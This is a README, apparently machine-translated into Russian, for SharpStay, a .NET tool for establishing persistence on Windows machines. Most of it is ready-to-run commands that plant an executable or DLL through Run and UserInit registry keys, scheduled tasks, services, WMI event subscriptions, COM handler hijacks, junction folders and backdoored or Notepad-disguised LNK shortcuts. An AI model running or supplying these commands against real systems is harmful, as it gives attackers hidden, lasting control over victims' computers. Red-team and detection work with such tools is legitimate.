0xthirteen/sharpstayИнструмент .NET для установки персистентности в Windows через ключи реестра, запланированные задачи, службы, события WMI, перехваты COM и бэкдоры LNK, с поддержкой как повышенных, так и не повышенных контекстов.
Чтобы скомпилировать, откройте проект в Visual Studio и выполните сборку для релиза.
Повышенные ключи реестра
Повышенный ключ реестра UserInit
Повышенная запланированная задача
Повышенное создание службы
Повышенная подписка на события WMI
Неповышенный ключ реестра InitMprLogonScript
Неповышенный перехват обработчика COM для запланированной задачи
Неповышенная папка Junction
Разное: Добавить действие запланированной задачи
Разное: Каталог автозапуска
Разное: Новый LNK
Разное: Бэкдор LNK
Разное: Имена задач
Разное: Список запланированных задач
Разное: Список запущенных служб
Разное: Получить обработчики COM запланированных задач
Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler
cleanup=true является опцией для каждого типа персистентности.
Часть StayKit